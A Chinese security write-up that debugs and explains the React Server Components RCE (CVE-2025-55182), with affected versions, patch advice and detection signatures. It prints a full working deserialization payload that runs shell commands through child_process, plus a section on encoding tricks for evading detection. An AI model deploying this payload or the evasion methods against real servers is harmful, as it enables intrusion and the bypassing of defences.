0x01 漏洞背景

1.1 漏洞介绍

React 是由 Meta 开源、用于构建用户界面的 JavaScript 库。其 React Server Components(RSC)架构允许组件在服务端渲染并序列化输出,通过“Flight”协议以 JSON-like 流式格式发送到客户端,实现零客户端 JS 体积的交互体验。

React 某些版本被披露存在远程代码执行漏洞(CVE-2025-55182)。在该漏洞中,由于RSC 在解析客户端的相关请求时缺少安全校验,攻击者可通过构造恶意请求,从而在服务器上执行任意代码,甚至完全接管服务。目前漏洞EXP已公开,并出现大范围扫描利用。

1.2 React Server Component

React Server Components是 React 团队在 React 18 实验阶段提出、在 React 19 稳定的新特性。

简单来讲,RSC 把组件分为Server ComponentClient Component 两类,所有的传统组件都是 Client ComponentServer Component 和前者的区别在于它在服务端而非浏览器端渲染。

在服务端,Server Component 可以运行复杂逻辑,可以通过网络通信、文件操作等方式直接访问数据源,也可以重复利用重型代码,如各种重量级的包。通过这些特性,RSC 实现了更快的页面加载、更小的 JavaScript 打包大小、更好的用户体验。

1.3 Flight 协议

Flight 是 RSC 的核心通信协议,用于在服务器与客户端之间传输组件树信息与渲染指令。

工作流程

  • 服务端渲染 RSC,生成组件树的 Flight 流(含类型标记、ID、负载数据)发送给客户端;客户端接收 Flight 流后,解码并重建组件树,与本地客户端组件拼接渲染。
  • 客户端触发 Server Action 时,将调用信息编码为 Flight Reply 发送至服务端,服务端解析、执行后返回结果。


0x02 漏洞原理

概念: 服务端处理 Flight Reply 时,是通过 decodeReply / decodeReplyFromBusboy 函数把来自客户端的 Flight 流反序列化成对应的对象/函数。在这个过程中,React 对于客户端数据没有足够的检验和限制,致使漏洞存在。

利用: 伪造一个恶意 Chunk 对象,在反序列化过程中触发恶意代码。

「Chunk 对象」是 RSC 协议里最小的“数据块+状态机”单位: 每行 Flight 流对应一个带 ID 的 Chunk,内部标记 PENDING → RESOLVED → INITIALIZED;服务端边渲染边 flush,客户端收到即按 ID 解析,可独立渲染或等待依赖,实现流式、渐进、可回溯的组件输出。(来自Kimi)


0x03 POC 调试

3.1 环境准备

自定义一个简单 Server,使用底层库 busboy 处理传入数据,然后直接把 Busboy 流传入 decodeReplyFromBusboy()函数处理。

server_3.png

payload 示例:

payload_2.png

3.2 注册事件+构造初始对象

先跟进decodeReplyFromBusboy()函数。

decodeReplyFromBusboy.png

函数接收上述 busbuoyStream 和两个 undefined 值作为参数,并以此为基础通过 createResponse() 函数构建出如下response对象。

createResponse_2.png

```json 
// response
 {
   _bundlerConfig: undefined,
   _prefix: "",
   _formData: FormData { },
   _chunks: Map(0) { },
   _closed: false,
   _closedReason: null,
   _temporaryReferences: undefined,
 }

然后为 `busbuoyStream` 添加三个监听事件,这里只关注 “field” 事件即可。注册完毕之后返回一个由`getChunk()`函数构建的 `Chunk` 对象。跟进`getChunk()`函数:

![getChunk_2.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/01/attach-77b6d2165c3f5e6ec90bc98a01242032fbfdb370.png)

最终返回如下 Chunk 对象:

```json
// response
{
  _bundlerConfig: undefined,
  _prefix: "",
  _formData: FormData { },
  _chunks: Map(0) { },
  _closed: false,
  _closedReason: null,
  _temporaryReferences: undefined,
}

由于引用的特性,在该 Chunk 对象包含一个值为变量 response 的_response属性的同时,该 Chunk 对象也被放入了 response 变量的_chunks 属性中,对应的 key 是传入的固定数值 0

回到 Server,此时把请求数据推给 busboyStream,再 await 调用上述 Chunk 实例。

3.3 解析请求数据

第一次触发 “filed” 事件,上述 response 和请求数据中第一个键值对传入 resolveField()函数,跟进该函数。

decodeReplyFromBusboy_2.png
resolveField()

resolveField.png

进入函数体,

  • 先为 response 对象的_formData属性添加上述键值对作为其第1个元素。
  • 经过绝对成立的条件判断后,response 对象被重新赋值为自身的_chunks 属性(唯一元素值为上述 _chunks[0]对象的 Map实例)
  • 局部变量 prefix 被重新赋值为上述 _chunks[0] 对象,随上述请求数据中的键值对传入resolveModelChunk()函数。

resolveModelChunk()

resolveModelChunk.png

跟进resolveModelChunk()函数:经过几个条件判断语句,最终上述_chunks[0]对象 status 属性被重新赋值为" resolved_model",value 属性被赋值为请求中的 payload,reason 属性被赋值为上述 payload 对应的键名 “0”。

第1个请求数据字段对应的 Chunk 对象 _chunks[0]已经构建完成。

继续运行,“filed” 事件再次触发,上述 response 和请求数据中第2个键值对传入 resolveField()函数,继续跟进。

decodeReplyFromBusboy_3.png

还是进入 resolveField() 函数,

resolveField_2.png

与上一轮相同:

  • response 对象的 _formData 属性添加上述键值对作为其第2个元素。
  • 经过绝对成立的条件判断后,response 对象被重新赋值为自身的 _chunks 属性(唯一元素值为上述 _chunks[0] 对象的 Map实例)
  • 因为 response (_chunks)只有一个元素且键是数字 0,所以根据值为 1 的 key 变量取值返回 undefined,跳过resolveModelChunk()函数调用。

此时,实际只有一个 Chunk 对象被构建,response 对象的 _formData 属性存储了两个字段。

// _chunks[0]
{
  status: "resolved_model",
  value: "{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":0,\"value\":\"{\\\"then\\\":\\\"$B\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('child_process').execSync('open -a Calculator');throw new Error('halt');//\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}",
  reason: 0,
  _response: {
    _bundlerConfig: undefined,
    _prefix: "",
    _formData: {
      Symbol: [
        {name: '0', value: '{"then":"$1:__proto__:then","status":"resolve…mData":{"get":"$1:constructor:constructor"}}}'},
        {name: '1', value: '"$@abc"'}]
    },
    _chunks: {0: $Chunk},
    _closed: false,
    _closedReason: null,
    _temporaryReferences: undefined,
  },
  [[Prototype]] = Promise,
}

3.4 then回调

请求中的两个字段数据解析完毕后,进入 await _chunks[0]

而如下图,Chunk 函数通过原型继承了 Promise 函数,并重写了其原型对象中的 then 方法。所以 await _chunks[0] 将触发_chunks[0].then()

Chunk_prototype.png

如上,因为 _chunks[0]的 status 属性等于“resolved_model”,所以进入 initializeModelChunk() 函数分支。

initializeModelChunk()

initializeModelChunk_2.png

声明、赋值几个变量后,_chunks[0]status 属性修改为“cyclic”,chunk.reasonchunk.value都修改为 null。而后,response、原 chunk.value进行 JSON 反序列化获得的对象 、chunk.reason的字符串值传入 reviveModel()函数。

reviveModel()_0

reviveModel_2.png

reviveModel函数中,

  • 如上所述,形参 value 是原chunk.value进行 JSON 反序列化获得的对象,所以进入第2个 if 分支
  • 因为 response._temporaryReferences 的值原本就是 undefined,所以没有传入新值
  • 因为如上所述,value 是个普通对象不是 Array,进入 else 分支
  • 遍历 value 对象的属性,检查属性是否为 value 自身属性后,给 parentObj 重新赋值为“0:then”字符串
  • value 变 parent、value[i] 变 value 后,递归调用reviveModel()函数

reviveModel()_1_1

// reviveModel(response, parentObj, parentKey, value, reference)
// 五个参数依次排开
$response
{
  then: "$1:__proto__:then",
  status: "resolved_model",
  reason: 0,
  value: "{\"then\":\"$B\"}",
  _response: {
    _prefix: "process.mainModule.require('child_process').execSync('open -a Calculator');",
    _formData: {
      get: "$1:constructor:constructor",
    },
  },
}
"then"
"$1:__proto__:then"
"0:then"

因为 value 是字符串"$1:__proto__:then",所以直接进入parseModelString()函数,并返回其返回值。跟进该函数。

运行结果如下图,因为字符“1”没有对应的预置处理方式,经过几个 switch 分支后,value 被去除“$”前缀后一起进入getOutlinedModel()函数。

parseModelString_1_1.png

getOutlinedModel()

getOutlinedModel.png

value 传入后根据“:”分割为包含三个元素的数组 reference,reference第一个元素转为数值型赋值给局部变量 id,而后传入 getChunk()函数并把返回值重新复制给 id。

getChunk()

getChunk_3.png

getChunk()函数中,因为这次传入的 id 值为1,所以也是构造并返回了第二个 Chunk 对象(如下)。同样,这个 Chunk 对象也被放入了 response 对象的_chunks 属性中,对应的 key 值为1

// _chunks[1]
{
  status: "resolved_model",
  value: "\"$@abc\"",
  reason: 1,
  _response: {
    _bundlerConfig: undefined,
    _prefix: "",
    _formData: {
    },
    _chunks: {
    },
    _closed: false,
    _closedReason: null,
    _temporaryReferences: undefined,
  },
}

回到 getOutlinedModel(),紧接着 又进入initializeModelChunk()

getOutlinedModel_5.png

initializeModelChunk()

initializeModelChunk_3.png

同样的,_chunks[1]status 属性修改为“cyclic”,chunk.reasonchunk.value都修改为 null。而后,response、原 chunk.value进行 JSON 反序列化获得的对象(字符串"$@abc") 、chunk.reason的字符串值传入 reviveModel()函数。

因为上述 value 是个字符串,所以进入第一个分支——parseModelString()函数:

parseModelString_1_1_1.png

如上,字符串“abc”按照十六进制解析得到数字2748(没什么用,能解析成数字就可以),作为参数 id传入 getChunk 函数,获得以下 Chunk 对象:

// _chunks[2748]
{
  status: "pending",
  value: null,
  reason: null,
  _response: {
    _bundlerConfig: undefined,
    _prefix: "",
    _formData: { Symbol * 2 },
    _chunks: { Chunk * 3 },
    _closed: false,
    _closedReason: null,
    _temporaryReferences: undefined,
  },
}

回到 initializeModelChunk() ,

initializeModelChunk_4.png

_chunks[1] 的 status 属性被修改为“fulfilled”,value 属性被修改为 _chunks[2748]

回到 getOutlinedModel()

getOutlinedModel_2.png

因为 _chunks[1].status 等于 “fulfilled”,parentObject 被临时赋值为 _chunks[2748]

第一次循环,取出 reference 第2个元素'__proto__'作为 key取出 parentObject 对应属性为parentObject 重新赋值。

第二次循环,取出 reference 第2个元素'then'作为 key取出 parentObject 对应属性并为parentObject 重新赋值。

_chunks[2748] 作为 Chunk 实例,其 __proto__属性及 __proto__.then 自然是如前文所展示:Chunk.prototype

循环结束,response 与上述 then 函数作为参数传入 createModel() 函数。

createModel.png

createModel() 函数直接返回传入的 model 参数,所以 getOutlinedModel()函数最终返回 Chunk 对象自定义的 then函数,也就是递归调用的 reviveModel()_1_1 函数最终返回上述 then 函数。

reviveModel()_0

reviveModel_0.png

回到表层reviveModel()函数,parentObj 接收上述 then 函数作为新值并赋值给 value 的 then 属性。value 由请求表单中第1个参数值 JSON 反序列化得到。

继续 for 循环遍历 value 的各属性:

  • “status” 属性的值“resolved_model”是字符串,且没有以“$”开头,所以其被原封不动返回
  • “reason” 属性值为数值型 -1,直接返回
  • “value” 属性同上
  • “_response” 属性是一个非 Array 类型对象,跟进递归调用的 reviveModel() 函数

reviveModel()_1_5

reviveModel_1_5.png

与表层reviveModel相同,value 是一个 Object 对象,所以再次进入递归调用:

  • _prefix 属性:值为字符串,且没有以“$”开头,返回原值
  • _formData 属性:值为非 Array 类型的对象,再次进入 reviveModel() 函数递归调用

reviveModel()_2_2

reviveModel_2_2.png

0:_response:_formData:get 值为字符串 "$1:constructor:constructor",所以同上将会:reviveModel() => parseModelString() => getOutlinedModel(),跟进 getOutlinedModel()

getOutlinedModel()

getOutlinedModel_3.png

字符串 "$1:constructor:constructor"被分割为包含三个元素的数组,id 被赋值为数字1,进入getChunk():

getChunk_4.png

与前两次不同,这次使用传入的 id 作为 key可以取出 _chunks[1],所以_chunks[1]被直接返回。

回到 getOutlinedModel()

getOutlinedModel_4.png

因为 _chunks[1].status 已经是 “fulfilled”,所以不再进入“resolved_model”分支,直接进入“fulfilled”分支,parentObject 被赋值为_chunks[1].value, 也就是 _chunks[2748]

第一次循环,取出 reference 第2个元素'constructor'作为 key取出 _chunks[2748].constructor ,值为:[Function: Promise]

第二次循环,取出 reference 第2个元素'constructor'作为 key取出[Function: Promise].constructor ,值为:[Function: Function]

循环结束,getOutlinedModel()函数结束,递归调用的 reviveModel()_2_2 函数最终返回[Function: Function]

reviveModel()_1_5

reviveModel_1_5_2.png

回到 reviveModel()_1_50:_response:_formData:get的值被更新为[Function: Function]

回到表层reviveModel()value 元素遍历结束, value 此时值如下:

{
  then: function (resolve, reject) {
    switch (this.status) {
      case "resolved_model":
        initializeModelChunk(this);
    }
    switch (this.status) {
      case "fulfilled":
        resolve(this.value);
        break;
      case "pending":
      case "blocked":
      case "cyclic":
        resolve &&
          (null === this.value && (this.value = []),
          this.value.push(resolve));
        reject &&
          (null === this.reason && (this.reason = []),
          this.reason.push(reject));
        break;
      default:
        reject(this.reason);
    }
  },
  status: "resolved_model",
  reason: 0,
  value: "{\"then\":\"$B\"}",
  _response: {
    _prefix: "process.mainModule.require('child_process').execSync('open -a Calculator');",
    _formData: {
      get: function Function() { [native code] },
    },
  },
}

可以看到,当前 value 除了确实不是一个 Chunk 实例之外,基本跟一个 Chunk 实例没什么区别。

回到梦开始的地方:

initializeModelChunk()

initializeModelChunk_5.png

_chunks[0] 的 status 属性被修改为“fulfilled”,value 属性被修改为上述 value 值。

initializeModelChunk()函数结束,回到回调的 then() 函数:

then.png

_chunks[0].status 等于“fulfilled”,上述 valueresolve。于是进入 value.then()

3.5 value.then回调

value_then.png

进入initializeModelChunk()

initializeModelChunk_6.png

valuestatus 属性修改为“cyclic”,value.reasonvalue.value都修改为 null。而后,value._response、原 value.value进行 JSON 反序列化获得的对象 、chunk.reason的字符串值传入 reviveModel()函数。

跟前文一样,因为value.value被反序列化为以下非 Array 类型对象,所以reviveModel()函数将会递归调用,遍历该对象的每个属性。

 {  
   then: "$B"  
 }

跳过重复部分,跟进递归调用:

reviveModel_v_1.png

因为当前 value 值$B是字符串,所以进入 parseModelString()函数:

parseModelString_v.png

case "B" ,返回 response._formData.get(response._prefix + obj)。前面已知:

  • value._response._formData.get 值为 [Function: Function],是所有函数的构造函数
  • value._response._prefix 值为原始传入的恶意 payload

所以 parseModelString()函数将返回一个函数体为上述指定恶意代码的匿名函数

回到reviveMode() 函数,

reviveModel_v.png

上述对象的then 属性值从 "$B" 被替换为上述匿名函数。

回到 initializeModelChunk() 函数,

initializeModelChunk_7.png

value.status 修改为 “fulfilled”,value.value 修改为以下对象:

{
  then: function anonymous() {
    process.mainModule.require('child_process').execSync('open -a Calculator');throw new Error('halt');//NaN
  },
}

回到 value.then()

value_then_2.png

value.status 已经被修改为“fulfilled”,于是 resolve(value.value),也就是调用value.value.then(),于是上述包含恶意代码的匿名函数被执行。

VM_new.png


0x04 利用链梳理

4.1 构造假 Chunk

  1. 首先是构造 multipart/form-data 请求
  2. 构造请求数据
Content-Disposition: form-data; name="0"
// 每个请求字段都会被尝试解析成一个 Chunk
// 以下 JSON 对象属性对应 Chunk 对象的各项属性

{
    "then": "$1:__proto__:then",    // 原型链遍历,获取 Chunk.__proto__:then
    "status": "resolved_model",     // 伪造状态
    "reason": 0,
    "value": "{\"then\":\"$B\"}",   // 调用 _formData.get
    "_response": {
        "_prefix": "process.mainModule.require('child_process').execSync('open -a Calculator');throw new Error('halt');//", // 恶意代码
        "_formData": {
            "get": "$1:constructor:constructor" // 获取 [Function: Function];覆盖FormData.get()方法调用
        }
    }
}
Content-Disposition: form-data; name="1"
"$@abc" // case "@": Chunk 引用,获取或创建一个 Chunk 对象

4.2 原型链遍历

Chunk[0].then()
    ↓↓↓
    initializeModelChunk(Chunk[0])
        ↓↓↓
    reviveModel() // 遍历 Chunk[0].value,第一个元素是 "then": "$1:__proto__:then"
            "then": "$1:__proto__:then" =>
            ↓↓↓
            parseModelString() // 校验、解析 $B、$@ 等开头的各类字符串对象
                "$1:__proto__:then" => "1:__proto__:then" =>
                ↓↓↓
        getOutlineModel() 
                    "1:__proto__:then" => ["1", "__proto__", "then"]  // 遍历
                    "1" => getChunk() => Chunk[1] 
                    ↓↓↓
                    initializeModelChunk(Chunk[1])
            ↓↓↓
            reviveModel() // Chunk[1].value是字符串:"$@abc"
                            ↓↓↓
                            parseModelString() // 校验 $B、$@ 等开头的各类字符串对象
                "$@abc" => getChunk(..., parseInt("abc", 16)) => Chunk[2748]
            Chunk[1].value = Chunk[2748]
                    "__proto__" => Chunk[2748].__proto__
                    "then" => Chunk[2748].__proto__.then
                 Chunk[0].value.then = Chunk[2748].__proto__.then

至此,Chunk[0].value.then 的值就变为了 Chunk 函数的原型对象的 then 属性,一个 React 自定义匿名函数。

  • "$@abc" 只需要满足以 $@ 开头,后半段可以按照十六进制解析为 Int 即可
  • "$@":原始 Chunk 引用

4.3 获取构造函数

继续遍历 Chunk[0].value 剩下的元素,基本是同样的方式获取函数构造器 [Function: Function]并赋值给Chunk[0].value._response._formData.get

            "status", "reason", "value"... // 非$开头的普通字符串或 Int,直接返回
            "_response": {} => 
            ↓↓↓
            reviveModel() // 遍历 Chunk[0].value._response
                "_prefix": "eval_code"   // 非$开头的普通字符串,直接返回
            "_formData": {} =>
                    ↓↓↓
                    reviveModel() // 遍历 Chunk[0].value._response._formData
                        "get": "$1:constructor:constructor" =>
                        parseModelString()
                            ↓↓↓
                            getOutlinedModel()
                            "1:constructor:constructor" => ["1", "constructor", "constructor"] // 遍历
                            ↓↓↓
                            "1" => getChunk() => Chunk[1]
                            "constructor" => Chunk[2748].constructor
                            "constructor" => Chunk[2748].constructor.constructor
                 Chunk[0].value._response._formData.get = [Function: Function]

到此完成了假 Chunk 的伪造——Chunk[0].value

4.4 调用恶意函数

遍历完 Chunk[0].value所有元素之后, reviveModel()函数结束,回到 initializeModelChunk() 函数,Chunk[0].status 的值修改为 “fulfilled”,然后回到 Chunk[0].then()

Chunk[0].then() 执行 resolve(Chunk[0].value) ,进入 Chunk[0].value.then()

 // Chunk[0].status = "fulfilled" => resolve(Chunk[0].value) 

Chunk[0].value.then()
    ↓↓↓
    initializeModelChunk(Chunk[0].value)
        Chunk[0].value.value = "{"then": "$B"}" => {then: "$B"}
        ↓↓↓
        reviveModel(..., {then: "$B"},...)
            ↓↓↓
            reviveModel(..., "$B",...)
                ↓↓↓
                parseModelString(..., "$B",...)
                    case "$" => case "B" => 
                    return Chunk[0].value._response._formData.get(Chunk[0].value._response._prefix + parseInt("", 16)) 
            Chunk[0].value.status = "fulfilled"
            Chunk[0].value.value.then = Function{Evil_code}
            resolve(Chunk[0].value.value) => Chunk[0].value.value.then()
  • "$B" :Blob 对象引用;"$B"后的字符串内容无所谓,满足可以按照十六进制解析即可。
  • 针对真实 Chunk 来获取 formData 的操作被 "Chunk[0].value._response._formData.get" 覆盖,实际调用的是函数构造器 [Function: Function]
  • 函数构造器的参数是指定的恶意代码;真实 Chunk 的_response._prefix 值是一个空字符串 ""
  • resolve(Chunk[0].value.value) \=> Chunk[0].value.value.then()
    • *

0x05 影响范围&处置建议

5.1 影响范围

影响版本

  • React Server 19.0.0
  • React Server 19.0.1 (注:部分早期补丁未完全覆盖)
  • React Server 19.1.*
  • React Server 19.2.0

其他受影响组件/应用:

  • Next.js v15.0.0 - v15.0.4
  • Next.js v15.1.0 - v15.1.8
  • Next.js v15.2.x - v15.5.6
  • Next.js v16.0.0 - v16.0.6
  • Next.js v14.3.0-canary.77 及以上 Canary 版本
  • Dify、NextChat 等通用产品

5.2 处置建议:

官方已发布安全补丁,请及时更新至最新版本:

  • React: 19.0.1+, 19.1.2+, 19.2.1+
  • Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7+

下载地址:

https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components

❗️可通过以下命令或查看 package.json 文件自查当前版本:

npm list react-server-dom-webpack react-server-dom-turbopack react-server-dom-parcel


0x06 检测与绕过

6.1 可检测特征

对象属性/固定特征:

  • POST 请求方法
  • "then","status","reason","_response","_prefix","_formData"
  • __proto__:then,constructor:constructor
  • $B,$@

常用恶意payload特征:

  • process.mainModule.require
  • child_process
  • execSync / exec / spawn / spawnSync / execFileSync
  • fs.readFileSync / fs.writeFileSync
  • vm.runInThisContext / vm.runInNewContext

6.2 攻击结果检测

由于最后执行代码是通过链式调用 thenable 对象的 then 方法,当前对象返回的 status 由攻击者控制,整体响应由实际的应用环境封装控制,所以:

  • 如果有回显,可以校验响应内容来判断常规命令执行的结果
  • 攻击成功不一定返回 positive 响应;negative 响应不一定表示攻击失败
  • 没有响应(阻塞)不一定表示攻击失败

6.3 payload 绕过

✅ Unicode 编码

如:child_process = > \u0063\u0068\u0069\u006C\u0064\u005F\u0070\u0072\u006F\u0063\u0065\u0073\u0073

在构造假 Chunk 的 JSON 数据部分,不区分键名/键值,所有字符串都可以进行 Unicode 编码,不影响解析。

不过不支持 Java 中常见的如 \uuu0063 等变种。

✅ 十六进制编码

如:child_process => \x63hild_process

可行,但仅限在 _response._prefix 的恶意代码的语句参数部分,语句本身不行;固定的 JSON 键值对内容不行。

✅ String.fromCharCode()

如:'child_process' => 'child_' + String.fromCharCode(112,114,111,99,101,115,115)

可行,但仅限在 _response._prefix 的恶意代码的语句参数部分,语句本身不行;固定的 JSON 键值对内容不行。

可知,以下变种也可:

'child_process' => 'child_' + String.fromCharCode(0o160, 0o162, 0o157, 0o143, 0o145, 0o163, 0o163)

'child_process' => 'child_' + String.fromCharCode(0x70, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73)

'child_process' => 'child_' + String.fromCharCode(0b1110000, 0b1110010, 0b1101111, 0b1100011, 0b1100101, 0b1110011, 0b1110011)

'child_process' => 'child_' + String.fromCharCode(112, 114, 0o157, 0O143, 0x65, 0x73, 0b1110011)

String.fromCharCode(112, 114, ...)  => const abc = String.fromCharCode; abc(112, 114, ...)

✅ 字符集

请求数据由 busboy 进行处理,busboy 支持提取不同的字符集进行对应解码,譬如utf16le

Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then"...constructor"}}}

↓↓↓

Content-Disposition: form-data; name="0"
Content-Type: text/plane;charset=utf16le

{.".t.h.e.n.".:.".$.1.:._._.p.r.o.t.o._._.:.t.h.e.n."....c.o.n.s.t.r.u.c.t.o.r.".}.}.}.

// . => \x00

❌ URL 编码

对 payload 进行 URL 编码,如:

child_process => child%5Fprocess

constructor:constructor => %63%6f%6e%73%74%72%75%63%74%6f%72%3a%63%6f%6e%73%74%72%75%63%74%6f%72

实测不论是 JSON 键值对内容,还是 _response._prefix 的恶意代码部分,URL 编码后解析都会报错。

❌ 大小写

child_process => Child_Process

constructor:constructor => Constructor:conStructor

实测不行,JS 大小写敏感。

❌ 插入特殊字符

在 payload 中插入\t\n等空白字符或不可见字符,如:

constructor:constructor => constructor : constructor
constructor:constructor => constructor\t:\tconstructor
constructor:constructor => constructor\n:\nconstructor

实测不行。


0x07 参考链接

标签: none

添加新评论